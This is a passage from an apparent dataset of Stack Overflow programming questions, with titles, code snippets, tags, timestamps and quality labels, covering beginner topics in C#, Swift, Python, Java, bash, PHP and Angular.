sch.yr_cde " + "and sm.trm_cde = sch.trm_cde " + "inner join tmseprd.dbo.faculty_load_table " + "as flt on sm.crs_cde = flt.crs_cde " + "and sm.yr_cde = flt.yr_cde " + "and sm.trm_cde = flt.trm_cde " + "inner join TmsePrd.dbo.NAME_MASTER " + "as n on n.id_num = flt.instrctr_id_num " + "where sd.startdate <= @Now and sd.enddate >= @Now " + "and flt.INSTRCTR_ID_NUM = @@HostID and sm.crs_cde not like 'ONSO%' " + "or sd.startdate <= dateadd(mi,30,@Now) " + "and sd.enddate >= dateadd(mi,30,@Now) " + "and flt.INSTRCTR_ID_NUM = @@HostID " + "and sm.crs_cde not like 'ONSO%'", con); cmd.Parameters.AddWithValue("@RecordID", txtRecordID.Text); cmd.Parameters.AddWithValue("@@HostID", "Int"); SqlDataReader dr = cmd.ExecuteReader(); if (dr.Read()) { // display data in textboxes txtRecordID.Text = dr["RecordID"].ToString(); txtInstructorID.Text = dr["InstructorID"].ToString(); txtInstructorName.Text = dr["InstructorName"].ToString(); txtCourseCode.Text = dr["CourseCode"].ToString(); txtCourseTitle.Text = dr["CourseTitle"].ToString(); txtAttendanceCode.Text = dr["AttendanceCode"].ToString(); btnUpdate.Enabled = true; } else { //lblMsg.Text = "Sorry! Invalid attendance Id"; btnUpdate.Enabled = false; } dr.Close(); }
<c#><asp.net>
2019-01-28 21:40:10
LQ_EDIT
54,410,838
SWIFT: Adding Double and a String to then display on a label
I am trying to add up a value that is entered in the text field with a value specified as a double and then returning the value on a label. I would appreciate, if someone could assist. I am a complete beginner so probably something very obvious :( . The code that I have is : @IBOutlet weak var enterField: UITextField! var weekOneTotal:Double = 0 @IBAction func addButton(_ sender: Any) { addCorrectValue() } func addCorrectValue () { guard let addAmount = convertAmount(input: enterField.text!) else { print("Invalid amount") return } let newValue = weekOneTotal += addAmount secondScreen.weekOneAmountLabel.text = String(newValue) } func convertAmount (input:String) -> Double? { let numberFormatter = NumberFormatter () numberFormatter.numberStyle = .decimal return numberFormatter.number(from: input)?.doubleValue }
<ios><swift><uilabel>
2019-01-28 21:55:04
LQ_EDIT
54,411,060
Why does my while loop still run even if the conditions for it to run aren't met?
<p>I am currently working on a make your own adventure game. In the code, there is a while loop to check if the input given by the person running the game is valid or invalid.</p> <pre><code>actions = ['turn light on'] while True: while player_input not in actions: print('i dont know what you mean by',player_input) player_input = input('&gt;') if player_input == ('turn light on'): actions.remove('turn light on') actions.append('go to kitchen') actions.append('turn light off') points = int(points+100) print('you have',points,'points') print('it is bright in your room') print('you hear your dad say something in the kitchen') player_input = input('&gt;') if player_input == ('go to kitchen'): actions.remove('go to kitchen') actions.remove('turn light off') actions.append('eat eggs') actions.append('eat bacon') actions.append('eat dad') print('you go to the kitchen and your dad asks what you want for breakfast') print('do you want to eat bacon or eggs') </code></pre> <p>It works fine when you are at the 'turn light on part', but when you get to the go to the kitchen part and type 'go to kitchen' it prints what it is supposed to (you go to the kitchen and your dad asks what you want for breakfast, do you want bacon or eggs) but it also prints (i don't know what you mean by go to kitchen).</p>
<python>
2019-01-28 22:14:41
LQ_CLOSE
54,412,250
Concatenate same string x times
<p>There's a shortand way to concatenate a string x times instead of using something like this?</p> <pre><code>z = 'val' y = '' for x in range(1,10): y += z </code></pre>
<python><string-concatenation>
2019-01-29 00:31:42
LQ_CLOSE
54,414,185
Why does my program skip over the replace method?
<p>Whenever I run the java code below it compiles but the line that include the replace method seems to be skipped, such so that the inputted string and the output (newMessage) are the same. Why? variable C and variable D are chars...</p> <p>import java.util.Scanner;</p> <pre><code>public class javaencrypt { public static void main(String[] args) { // define and instantiate Scanner object Scanner input = new Scanner(System.in); //prompt user to enter a string System.out.println("Please enter a string: "); String message = input.nextLine(); String newMessage = message; char c=' '; // the character at even locations char d=' '; // new character // go throughout the entire string, and replace characters at even positions by the character shifted by 5. // access the even characters with a for loop starting at 0, step 2, and ending at length()-1 // for( initial value; maximum value; step) for(int k=0; k&lt;message.length(); k=k+2) { c=message.charAt(k); d=(char)(c+5); /* there will always be characters available, because keyboard is mapped on ASCII which is in the beginning of UNICODE */ newMessage.replace(c,d); } System.out.println("Message replacement is: " + newMessage); } } </code></pre>
<java>
2019-01-29 05:09:22
LQ_CLOSE
54,416,543
How to keep collored output using sed
<p>Hi I'm using <code>sed</code> command and I want to keep collored output from previous command.</p> <pre><code>la | sed -En '/Desktop/q;p' </code></pre> <p>But sed cut off all color codes</p>
<linux><bash><sed><gnu>
2019-01-29 08:17:16
LQ_CLOSE
54,416,896
How to scrape email and phone numbers from a list of websites using Python?
I have a file with name and links of the websites, how do I write a program in Python that helps me scrape phone number and email from all the websites?' [enter image description here][1] [1]: https://i.stack.imgur.com/QyIEq.png
<python><web-scraping>
2019-01-29 08:41:02
LQ_EDIT
54,418,574
Bash output all links in following format
<p>i want to display all links in a directory in the following format:</p> <pre><code>linkname -&gt; path/of/the/link </code></pre> <p>How can i do this?</p>
<linux><bash>
2019-01-29 10:11:16
LQ_CLOSE
54,418,694
Ho to check if strings are surrounded by spaces
I have the following string pattern in Python: {{test1 | test2(a) | test3|test4}} What I try to achieve is to check if the string contains sub-strings which are not separated by a space before/after the pipe (|). So in this example following sub-strings should be "marked" as not valid: - test3 (missing space before |) - test4 (missing space after |) I tried this with a regex but had no luck...
<python><regex>
2019-01-29 10:17:29
LQ_EDIT
54,418,862
What does the Interface object means in the function parameters
<p>I am not able to understand what is the meaning of having any model or interface object into the method parameters. For example, </p> <pre><code>public function checkRights(CommentInterface $comment) { return true; } </code></pre> <p>so here what does CommentInterface do? why we are not only passing $comment here? How do you name this kind of thing in programming language?</p> <p>I am new to object oriented php Thanks.</p>
<php><laravel><oop><yii>
2019-01-29 10:25:21
LQ_CLOSE
54,419,087
How do i get the first line of a txt file and set it as a %variable% in Batch?
<p>I would like to send a number to file.txt as a temporary storage for another variable, which can easily be done. I just can't work out what to use to extract the first line of file.txt (which is a number ranging 1-100000) and set it as a %variable% in my running batch script.</p> <p>So by the end of it I should be able to do echo %first-line-of-file.txt% and it'll print x</p> <p>Any ideas on how to make this work is much appreciated </p>
<batch-file>
2019-01-29 10:35:49
LQ_CLOSE
54,419,955
TypeError: can only concatenate str (not "tuple") to str
def main(): chatbot = ChatBot('Bot', storage_adapter ='chatterbot.storage.SQLStorageAdapter', trainer = 'chatterbot.trainers.ListTrainer') for files in os.listdir('hector/'): convData = open(r'hector/' + files, encoding='latin-1').readlines() #convData = open('hector/' + files, 'r').readlines() chatbot.set_trainer(ListTrainer) chatbot.train(convData) main() on this hector folder have trainnig text folders,when use os.listdir it's showing this error IsADirectoryError: [Errno 21] Is a directory: 'hector/french'
<python><python-3.x><chatbot>
2019-01-29 11:23:08
LQ_EDIT
54,420,094
Instant Run missing in Android Studio 3.3
<p>Currently, in the Android Studio version 3.3, the shortcut for "Apply Changes" option is missing which allows Instant Run. There is another option called "Update Running Application" which does not provide the same functionality.</p> <p>This option was available in older versions like 3.1 as seen in the screenshot</p> <p><a href="https://i.stack.imgur.com/IgiBe.png" rel="noreferrer"><img src="https://i.stack.imgur.com/IgiBe.png" alt="comparision"></a></p> <p>I am unable to use Instant Run feature in version 3.3.</p> <p>Is there a workaround for this?</p>
<android-studio><android-instant-run><hot-reload>
2019-01-29 11:31:30
HQ
54,421,519
Why is parameter not a constant expression?
<p>Could you please explain why this code doesn't compile?</p> <pre><code>// source.cpp constexpr const char* func(const char* s) { return s;} constexpr bool find(const char *param) { constexpr const char* result = func(param); return (param == 0); } int main() { constexpr bool result = find("abcde"); } </code></pre> <p>The compile command:</p> <pre><code>$ g++ -std=c++14 source.cpp </code></pre> <p>I've tried gcc5.4 and gcc6.4. The error:</p> <pre><code>source.cpp: In function ‘constexpr bool find(const char*)’: source.cpp:5:46: error: ‘param’ is not a constant expression constexpr const char* result = func(param); ^ </code></pre>
<c++><gcc><c++14>
2019-01-29 12:51:01
HQ
54,422,360
How to create a key hash in Ruby without quotes
Im trying to create a header to my api like this: header = {:Content-Type => "application/json"} But Im having a problem with the key that contains a dash. If I use ( :"Content-Type" ) or ( "Content-Type".to_sym ) the results is a key like this: irb(main):001:0> "Content-Type".to_sym => :"Content-Type" I found some people saying that I can use .to_sym.inspect to create a Symbol without quotes, but it didnt work. irb(main):002:0> "Content-Type".to_sym.inspect => ":\"Content-Type\""
<ruby><literals>
2019-01-29 13:37:44
LQ_EDIT
54,424,309
How to stop the Discord bot responds to other bots? (Discord.js)
I'm new to programming a discord bot using discord.js (JavaScript). So, recently My bot got approved by discordbots.org. At the same day, I tested it. The result was other bot responds my command, but my bot wasn't. I check the logs in Heroku app, and there is an error. When I test the command into my server, it responds. So I think that there is a problem with my bot. When i checked my Bot's role in "Discord Bot Lists" server, I see that my bot gets a "Muted" Role. That mean there is a problem with my bot. When I check the mod logs channel, it shows that my bot is muted because my bot respond to other bot. How can I fix this so my bot get unmuted in that server? Sorry for my bad english and not providing the code.
<javascript><discord.js>
2019-01-29 15:23:52
LQ_EDIT
54,424,558
Array size redifination
So basically according to definition of array we cannot change array size. But if i am adding element to a same array by shifting other elements to the right of array, so the array size is going to increase. So how this is possible?
<c><arrays><insertion>
2019-01-29 15:36:50
LQ_EDIT
54,424,701
Catch the values ​in the listbox respectively
<p>I need a code that when click on button1 every time the items in the listbox are entered into my textbox, respectively. And I do not know how to write the foreach loop for the listbox thank you</p>
<c#><winforms><listbox>
2019-01-29 15:44:23
LQ_CLOSE
54,425,440
How to append head of a list to the tail of same list?
<p>Example: List(red,blue,green,black).I want to append head of this list to the tail of same list.So after first iteration my list will be List(blue,green,black,red),after that List(green,black,red,blue) and so on.</p>
<scala>
2019-01-29 16:23:27
LQ_CLOSE
54,425,540
Python Unique DF in loop
<p>I am currently writing web scraping code to scrape the PGA Tour website. I have provided a sample of a loop I am using. I would like to create a unique dataframe for every iteration through j. In the end I will have several hundred dataframes. I would like the dataframes to be listed as df1, df2, df3,...</p> <p>I would then like to export all of the dataframes as a csv.</p> <p>Thanks!</p> <pre><code>for j in range(0, 500): for k in range(1,9): try: print(j) df1 = url_base_1 + str(j) + url_base_2 df2 = make_dataframe(df1.format(year), int(k)) print(k) except: pass </code></pre>
<python><pandas>
2019-01-29 16:28:54
LQ_CLOSE
54,425,628
Why Java Calendary don't execute some lines?
Java don't execute some lines of my code when I use Calendary library. I'm trying to get the date of monday before 1 of actual month. //Today is Tuesday, 2 January of 2019 (29/01/2019) 1. Calendar cp1 = GregorianCalendar.getInstance(); 2. cp1.set(Calendar.DAY_OF_MONTH, 1); //THIS LINE DON'T WORKS 3. cp1.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); 4. SimpleDateFormat sdf=new SimpleDateFormat ("dd/MM/yyyy"); 5. System.out.println(sdf.format (cp1.getTime())); //return 28/01/2019 instead of 31/12/2018. //IF I ADD System.out.println (cp1) after line 2 java don't jump line 2 and works well. //Today is Tuesday, 2 January of 2019 (29/01/2019) 1. Calendar cp1 = GregorianCalendar.getInstance(); 2. cp1.set(Calendar.DAY_OF_MONTH, 1); //THIS LINE WORKS NOW 3. System.out.println (cp1); 4. cp1.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); 5. SimpleDateFormat sdf=new SimpleDateFormat ("dd/MM/yyyy"); 6. System.out.println(sdf.format (cp1.getTime())); //return 31/12/2018 that is the correct date. //Why java didn't execute 2nd line in my first code? Is a java bug? Expected result "31/12/2018". Actual result "28/01/2019".
<java><dayofweek><java.util.calendar>
2019-01-29 16:33:58
LQ_EDIT
54,425,983
How convert localString date to new Date?
<p>I have local string date: <code>12/3/2018, 12:00:00 AM</code>.</p> <p>How to convert it to <code>Date()</code>?</p>
<javascript><typescript>
2019-01-29 16:54:12
LQ_CLOSE
54,426,844
Java script get an object array filtered only with certain properties
I have an array of objects(object is `<Employee>` type) as shown below, [{i: "MCA001", j: 4, n: "KEITH G MCALLISTER", m: null, a: 1, …} , {...}] i want this <Employee> object array filtered with certain properties, for an instance, filtered array should have few properties, [{i:.., j:.., a:..}] i'm trying to use filter and map functions and still no success. Appreciate if anyone can help me to figure this out. Thank you very much.
<javascript><typescript>
2019-01-29 17:47:36
LQ_EDIT
54,427,708
Convert csv rows into columns in python
<p>i have CSV file like: <a href="https://i.stack.imgur.com/9oBYs.png" rel="nofollow noreferrer">CSV DATA</a></p> <p>want to convert into single list like: 253,514,517,6514,6518,407,865</p> <p>reading data row wise while neglecting 0 and duplications</p>
<python><csv>
2019-01-29 18:43:59
LQ_CLOSE
54,428,294
How can I implement an Onboarding / Walkthrough page in Angular Material Design?
<p>Can anyone tell me how to create an Onboarding/Walkthrough in Angular Material Design (Electron)?</p> <p>I'm still new to the whole world of Angular. Basically I need to have a desktop app that looks like the image below. Displays a bunch of images, and allows the user to navigate between pages by clicking the arrow icons.</p> <p><a href="https://i.stack.imgur.com/mFFhM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mFFhM.png" alt="enter image description here"></a></p> <hr> <p>I was unable to find any example or tutorials on where to begin.</p> <p>Would anyone be able to get me started?</p> <p>Thanks.</p>
<angular><typescript><angular-material><material-design><walkthrough>
2019-01-29 19:23:08
LQ_CLOSE
54,429,140
Scala: drop elements from list based on position of elements
In Scala, what would be the right way of selecting elements of a list based on the position of two elements? Suppose I have the list below and I would like to select all the elements between 2 and 7, including them (note: not greater than/smaller than, but the elements that come after 2 and before 7 in the list): ``` scala> val l = List(1, 14, 2, 17, 35, 9, 12, 7, 9, 40) l: List[Int] = List(1, 14, 2, 17, 35, 9, 12, 7, 9, 40) scala> def someMethod(l: List[Int], from: Int, to: Int) : List[Int] = { | // some code here | } someMethod: (l: List[Int], from: Int, to: Int)List[Int] scala> someMethod(l, 2, 7) res0: List[Int] = List(2, 17, 35, 9, 12, 7) ```
<scala><list><slice><regular-language>
2019-01-29 20:31:49
LQ_EDIT
54,430,367
mysqli_query(): MySQL server has gone away
<p>I'm getting these errors:</p> <pre><code>Warning: mysqli_query(): MySQL server has gone away in (local db) Warning: mysqli_query(): Error reading result set's header in (local db) </code></pre> <p>I am establishing a connection at first:</p> <pre><code>$connection = new mysqli($server, $user, $pass, $db) or die("unable"); </code></pre> <p>Then this:</p> <pre><code>$sql = $connection-&gt;prepare("INSERT INTO comments (name,mail,homepage,comment,time) VALUES (?,?,?,?,?)"); $sql-&gt;bind_Param('sssss',$name,$mail,$homepage,$comment,$time); $sql-&gt;execute(); if($sql){ if(!addPics($connection, $image_content, $mime, $time)){ //other code } </code></pre> <p>addPics looks like this:</p> <pre><code>function addPics($connection, $image_content, $mime, $time){ $sql = $connection-&gt;prepare("INSERT INTO pictures (picture, mime, time) VALUES (?,?,?)"); $sql-&gt;bind_Param('sss',$image_content,$mime, $time); $sql-&gt;execute(); if($sql){ return true; } else { return false; } </code></pre> <p>Error occurs at the second sql->execute. My guess is that it's because I'm using the connection for several requests but my knowledge of PHP does not allow me to figure out a solution.</p> <p>Thank you!</p>
<php>
2019-01-29 22:08:49
LQ_CLOSE
54,432,073
Using a text file as the input for a program
<p>In a program, you can simulate a magic square by using a two-dimensional list. Write a Python program that tests whether or not a 3 by 3 grid is a valid magic square. The program reads the input from a text file named input.txt. Each line in the file contains exactly 9 numbers that correspond to the the second row, and the last three values correspond to the last row. </p> <p>I am not struggling with how to create the program to check to see if the square is a magic square, but how do I read in the "input.txt" into the program when I run it?</p>
<python>
2019-01-30 01:24:22
LQ_CLOSE
54,434,756
Fatal error: Call to a member function fetch_assoc() on a non-object in directoryhere/database.php on line 13
<p>I am getting Fatal error: Call to a member function fetch_assoc() on a non-object in directoryhere/database.php on line 13</p> <p>Here is the code in database.php file</p> <pre><code>&lt;?php $db = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DATABASE); if($db-&gt;connect_error){ die("&lt;h3&gt;Could not connect to the MySQL server.&lt;br /&gt;Please be sure that the MySQL details are correct.&lt;/h3&gt;"); } function html($string) { return htmlentities(stripslashes($string), ENT_QUOTES, "UTF-8"); } $config = $db-&gt;query("SELECT * FROM config"); $config = $config-&gt;fetch_assoc(); ?&gt; </code></pre> <p>Tell me how can I get rid of this? PHP Version - 5.5.38 I am trying to install this uptime checker script.</p>
<php>
2019-01-30 06:47:55
LQ_CLOSE
54,435,326
how to delete an element from a struct?
I Would like you to help me in a homework we got from our teacher. My question is the following: Can you help me in correcting my ddelete method (function)? Oh and please don't mark it as a duplicate, because don't think that there's a solution out there to my problem. (I'm saying that because last night Insearched a lot for it) #include <stdio.h> #include <stdlib.h> #include <iostream> #include <string.h> typedef struct{ long long unsigned num; char name[20]; }Telbook; using namespace std; int be(Telbook*); void ki(Telbook[]); void search (Telbook[]); void ddelete(Telbook[]); int count(Telbook[]); int main(){ setlocale(LC_ALL,""); printf("\t\t\t Struktura feladat 1. \n\n\n"); Telbook tomb[50]; int db; db=be(tomb); ki(tomb); search(tomb); ddelete(tomb); ki(tomb); system("pause"); } int be(Telbook *n){ int i=0; printf("Enter phone # and names until the phone # you entered is 0\n"); /*printf("Kérek egy nevet: "); scanf("%s",n->name);*/ printf("Enter a Phone #: "); scanf("%llu",&n->num); while(n->num){ printf("Enter a name: "); scanf("%s",n->name); i++; n++; printf("Enter a phone #: "); scanf("%llu",&n->num); } return i; } void ki(Telbook n[]){ int i=0; while(n[i].num){ printf("Name: %s, Phone #: %llu\n",n[i].name,n[i].num); i++; //n++; } } void search(Telbook n[]){ int i=0; int dbb; char nev[20]; dbb=count(n); printf("Enter the name you're searching for: "); scanf("%s",nev); for(i=0;i<dbb;i++){ if(strcmp(n[i].name,nev)==0)break; //n++; } if(i==dbb){ printf("The name doesn't exist.\n"); } else{ printf("The name you have searhed for is: %s it's on the %d. index.\n",nev,i+1); } } int count(Telbook n[]) { int i = 0; while (n[i].num) { i++; } return i; } void ddelete(Telbook n[]){ int szam,db=count(n),i=0,adat; printf("Enter a number you want to delete: ");scanf("%d",&szam); for(i = 0; i < db; i++){ if( szam == n[i].num){ for (i = 0; i < db - 1; i++) { n[i] = n[i + 1]; } } } } Here's my code i written it as understandable as possible.
<c++><struct>
2019-01-30 07:29:33
LQ_EDIT
54,435,482
Java - returning a BigDecimal from a function?
<p>I was wondering if I can actually return a BigDecimal from a function as I have not seen anything online about this. Is it because it's not possible or is it really just bad practice to do so? Attempting the code below results in "error: cannot find symbol [in MainClass.java]"</p> <pre><code>public BigDecimal foo(){ return new BigDecimal(10); } </code></pre>
<java><bigdecimal>
2019-01-30 07:40:13
LQ_CLOSE
54,436,525
How to read a file line by line and making a new file for each line having same filename as last word of each line?
<p>Suppose the file contents are:</p> <pre><code>May 30, Thu, England vs SouthAfrica, Match 1 ,Afternoon, London May 31, Fri, Windies vs Pakistan, Match 2 ,Afternoon, Nottingham Jun 01, Sat, NewZealand vs SriLanka, Match 3 ,Afternoon, Cardiff </code></pre> <p>I want to create three files each having names London, Nottingham and Cardiff. Each file must have its own line. Like,content of Nottingham should be:</p> <pre><code>May 31, Fri, Windies vs Pakistan, Match 2 ,Afternoon </code></pre> <p>I don't want to use awk. Any help is appreciated.</p>
<linux><bash>
2019-01-30 08:48:11
LQ_CLOSE
54,439,127
Integer cannot be converted to boolean using "indexOf()"
<p>I'm trying to count how many times the word "ing" occurred in a string asked by a user, I'm having an error saying it cannot be converted.</p> <p>I tried using s.indexOf("ing")</p> <pre><code>package javaapplication3; import java.util.*; public class JavaApplication3 { public static void main(String[] args) { Scanner in = new Scanner(System.in); String s,q = null; String i = "ing"; int count=0; System.out.println("Entrer une ligne de texte :"); s = in.next(); if ( s.indexOf("ing") ){ count++; q = s.replaceAll("ing", "ed"); } System.out.println("\"ing\" est occuree " +count +" fois."); System.out.println(q); } } </code></pre> <p>I expect the output would give me and count how many times it occurred but I'm having an error.</p>
<java>
2019-01-30 11:05:59
LQ_CLOSE
54,441,352
XCode 10 does not show file in Navigation Pane
When I click on a folder in the Navigation pane, and open it in Finder, the file is there, but it's not shown in Xcode and build fails complaining the file doesn't exist.
<xcode><xcode10>
2019-01-30 13:07:28
LQ_EDIT
54,442,088
Auto generating new jPanels onto a JFrame
I'm currently working on a blog/forum portal as a school project for University. I'm working in netbeans 8.2 using Swing as the GUI. My question is if it's possible to auto generate an already pre-made JPanel class onto a JFrame so that it looks like the questions on the main page of stackoverflow. So basically when a post is created it goes into the database -> I use a getter method to fill the info on the JPanel and then it auto generate itself onto the JFrame so that I don't need to create several fixed JPanels onto the Jframe. So if there are no posts the page would be blank. When a new post is created it shows up as the first post, the next one lies over that one and so on so forth. Is it possible to do this in Netbeans?
<java><swing><jpanel>
2019-01-30 13:49:10
LQ_EDIT
54,442,128
How can I get Style="Display:None" value by using POST methord in PHP
This is my php code. if (isset($_POST['submit'])) { $uname = $_POST['uname']; $pass= md5($_POST['pass']); $level = $_POST['ulevel']; $role = $_POST['urole'];} This is HTML code <div id="alevel" style="display: none"> <select id="select" name="urole"> <option value="">Select Role</option> <option value="admin">Admin</option> <option value="editr">Editor</option> </select> </div> I want after submit select role in urole value POST to $role
<javascript><php><jquery><html>
2019-01-30 13:50:49
LQ_EDIT
54,442,631
Suggestions on how to update Angular version
<p>I have an angular project which has the version 6.1 But I've installed some custom libraries using <code>npm</code>.</p> <p>So my question is: What should I take care for updating?</p> <p>I mean: Do I have to use an external tool? Or. Should I check every library dependency for upgrading the verions?</p> <p>Thanks in advance.</p>
<angular>
2019-01-30 14:16:33
LQ_CLOSE
54,442,764
how to pass varibale from HTML page to nodejs
I have a requirement where i want to pass variable from HTML to nodejs.Requirement is as below: 1) I have different hyperlink of different areas like Newcastle, Dudley, Belfast. 2) for now i'm calling my nodejs code by passing /Newcastle or /Dudley or /Belfast 3) Now Based on these hyperlink click i'm triggering code to perform process to retrieve data 4) As of now i have seperate processing code for all these 5) What I'm looking to make a single common code to process the above request dynamically. 6) For which I want to pass some variable or parameter from HTML page to node JS to indicate the respective region like Newcastle or Belfast Please suggest how I can achieve it.
<html><node.js>
2019-01-30 14:23:59
LQ_EDIT
54,443,000
Pandas dataframe to pivot_table
I have a df dataframe with 4 columns 'year', 'cath1', 'cath2' and 'cath3' and 2000 entries corresponding to products, with corresponding year of production, and a value in each 3 cathegories. i would like to create another dataframe with the same 3 cathegory columns and compute the average value of all products for each specific year in each of these cathegories. i tried with the folling code but it does not work. Thank you for your help df1=pd.pivot_table(df,index=['year'],values=['0','1','2'],aggfunc=np.mean) Exception has occurred: KeyError '0'
<python><pandas><dataframe><keyerror>
2019-01-30 14:35:42
LQ_EDIT
54,443,072
Overlap between values in a row in one dataframe and colums in other dataframe
This should be straightforward, but I am kind of stuck. Dataframe (df1) has column with chr variable, some of these values in that column correspond to column names in other data frame (df2). I would need to find an overlap between values (rows) of that column in df1 and all the columns in df2. Since the number of these columns is > ~1200, I can not filter one by one. Is there another elegant way other than transpose? Thank you in advance.
<r>
2019-01-30 14:38:50
LQ_EDIT
54,443,461
Replacing '(' with '-' in C++
<p>I've tried:</p> <pre><code>versionString = versionString.replace(versionString.begin(), versionString.end(), '(' , '-' ); </code></pre> <p>The result is: "--------------". Basically replacing all the characters. What is that?</p> <p>versionString is a basic string.</p>
<c++>
2019-01-30 14:57:54
LQ_CLOSE
54,444,447
how to select one letter from field[0] and the whole name from field[1] in python?
file = open("songs.txt","r") #Repeat for each song in the text file for line in file: #Let's split the line into an array called "fields" using the ";" as a separator: fields = line.split(";") #and let's extract the data: songTitle = fields[0] artist = fields[1] #Print the song print(songTitle + " by " + artist) #It is good practice to close the file at the end to free up resources file.close() this is the songs.txt file Gods plan;Drake Umberella;Rihanna Perfect;Ed Sheeran Shape of you;Ed sheeran Hello; Adele Thank u next; Ariana Grande Love Yourself; Justin bieber Confident;Demi lovato Sorry not sorry;Demi Lovato Back to you;Selena gomez Havana; Camila cabello I like it; Cardi b Jumanji; B young Mariah; Koomz
<python>
2019-01-30 15:50:23
LQ_EDIT
54,444,891
How would I make a basic alert for Android
I have a `if then` statement. If the `if then` statement is true, I want the android system to fire a basic alert with 1 button that says ok. I have done plenty of recchearch, but nothing I can find will work. Thanks in advance.
<android>
2019-01-30 16:14:06
LQ_EDIT
54,445,041
'package' must be of length 1
I have created an object of class shiny tag list and it is browsable as an animation in the viewer pane of Rstudio. However the file cannot be saved locally as an HTML file due to an error Expected : HTML output file similar to what was seen on the viewer pane Actual : Error message : Error in system.file(config, package = package) : 'package' must be of length 1
<r><rstudio><htmlwidgets>
2019-01-30 16:21:54
LQ_EDIT
54,447,794
Angular 4 circle dropdown menu?
I saw this in web.whatsapp.com [![enter image description here][1]][1] [1]: https://i.stack.imgur.com/ZnhtR.png Is there a npm package for angular that make the exact menu? If is not. ¿How can I do it with css?
<angular><typescript><npm><drop-down-menu>
2019-01-30 19:03:13
LQ_EDIT
54,448,001
How do I sort this list in Python 3?
<p>I'm in the middle of making a leaderboard, currently I am taking data from a txt file and dumping it into a list.</p> <p>The list's format looks something like this:</p> <p><code>[['56', 'UsernameA'], ['73', 'UsernameB'], ['52', 'UsernameC'], ['10', 'UsernameD']]</code></p> <p>I would like to create a leaderboard, therefore I would like to sort the list from the highest number to the lowest, I've tried using the <code>sort()</code> function, however this only works on integers and my list contains the username and the score, so I cannot convert it into an integer, unless I'm completely wrong here.</p>
<python><python-3.x>
2019-01-30 19:17:55
LQ_CLOSE
54,448,266
Converting UNIX timestamps into pandas datetime taking timezone into account
<p>I would like to convert the following pandas series containing UNIX timestamps into a pandas datetime using either <code>to_datetime()</code> or <code>arrow</code> library in Python. I want to set the timezone to UTC and currently it is <code>Europe/Paris</code></p> <p>For Pandas I am using the following function, but not sure how to take the <code>Europe\Paris</code> timezone into account</p> <p><code>pd.to_datetime(df['dates'], unit='s')</code></p>
<python><pandas><datetime>
2019-01-30 19:37:13
LQ_CLOSE
54,449,575
don't correct out put in C#
<p>example I enter 1357 and program out 106 instead of 10</p> <pre><code> string num = Console.ReadLine(); Console.Write(Convert.ToInt32(num[1]) + Convert.ToInt32(num[3])); Console.ReadKey(); </code></pre>
<c#>
2019-01-30 21:09:27
LQ_CLOSE
54,450,770
Represent Number in python3
<p>I want to know if there are any build-in class of python3 that can represent the number in all <strong>hex</strong>, <strong>binary</strong>, <strong>integer</strong>. type.</p> <p>So I do not need to implment lots of methods to convert from one form to the another.</p> <p>For example</p> <pre><code>number = SomeClass(number,base) # then I can call the build in function hex(), int(), bin() to convert the number "0b0000" = bin(number) "0x0000" = hex(number) "0" = int(number) </code></pre>
<python><python-3.x>
2019-01-30 22:52:14
LQ_CLOSE
54,451,185
find content between two tag python
hi guys I want to extract only the number "4" in this html code by python beautiful soup what should I do? <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> <ul class="left slider_pinfo"> <li> <i class="ihome-bed"></i> " 4" <div class="meta-tooltip">bed</div> <span class="right listing-sp"></span> </li> <li> <i class="ihome-arrows"></i> "300meter" <div class="meta-tooltip">meter</div> </li> <li> <i class="ihome-building-age"></i> "6years" <div class="meta-tooltip">age</div> </li> </ul> <!-- end snippet -->
<python><html><regex><web-scraping><beautifulsoup>
2019-01-30 23:34:08
LQ_EDIT
54,452,353
Is This A Single Page Website or Separate Web Pages
I am wondering if this is a single page website or 3 separate web pages. The urls are, index.aspx?page=home, index.aspx?page=about, index.aspx?page=team. I need to know for google analytics purposes. Thank you.
<url><google-analytics>
2019-01-31 02:12:25
LQ_EDIT
54,454,173
how to run python script to send data to google pubsub
From google console i am creating a topic and publish it which is working fine now i want to do it from python script which i have done but i don't know where to put those files in google pub/sub. Can some one please teach me how can i accomplish it by using script. I am new and i am student. i have never used google pub/sub. I just want to make some random data and send it to pub/sub that's all i want. Some one told i need web hosting to run those scripts, is it true? kindly please guide me briefly for 3 days i am reading docs and now everything is now messed up in my mind. In advance thank you.
<google-cloud-platform><google-cloud-pubsub>
2019-01-31 05:54:08
LQ_EDIT
54,456,382
how to solve the error_syntax error near '< '
Msg 102, Level 15, State 1, Line 3 Incorrect syntax near '<'. I get the above error message everytime I try to execute the query below. Please help!! UPDATE [dbo].[FM1] SET [Datum] = <Datum, smalldatetime,> ,[Gesamtzeit] = <Gesamtzeit, nvarchar(5),>
<sql><sql-server>
2019-01-31 08:37:20
LQ_EDIT
54,456,516
Java - what is the algorithm for converting decimal to any other number system
<p>i'm trying to find an algorithm to convert any positive decimal number(integer) to any other number system. I cant seem to get my head arround it. Can anyone help?</p>
<java>
2019-01-31 08:45:22
LQ_CLOSE
54,456,679
STORING MULTIPLE DATA TYPE IN AN ARRAY - C#?
I want to store multiple data type in an array of c# . I researched on this and found one answer i.e to use object type , the code for which goes like this object[] array = new object[2]; Is there any other way to achieve this?? Please help me out
<c#><arrays>
2019-01-31 08:54:10
LQ_EDIT
54,459,694
Android Studio - Draw line on canvas and modify the position after it's been drawn
I need help with this thing I draw line on canvas and i need to be able to modify the position after it's been drawn. I search and try a lot of things, but no one seems that it works I want to select one of the ends of the line and dragging them in another position Can someone give me and advice?
<java><android><drawing>
2019-01-31 11:34:03
LQ_EDIT
54,460,277
How to replace special character in a file using Python?
<p>I have data like this in file. I want replace the backslash from the entire data. I tried to use replace function after reading this text file but could not get the result. Could you please help.</p> <pre><code>[{"Name": "Segment1", "Value": 14.0, "Categories": "{\"MILL CREEK\": 0.0, \"FAIRPORT\": 1.0, \"PENNINGTON\": 0.0, \"GREENWICH\": 0.0 </code></pre>
<python><python-3.x><python-2.7>
2019-01-31 12:08:50
LQ_CLOSE
54,460,355
Python + Facebook using selenium
[PHOTO][1] When I logging in Facebook's account (using selenium) appeared this window and code doesn't work after. How to skip this window? [1]: https://i.stack.imgur.com/D6J3P.png
<python><facebook><selenium>
2019-01-31 12:13:52
LQ_EDIT
54,461,175
Conversion to Typescript
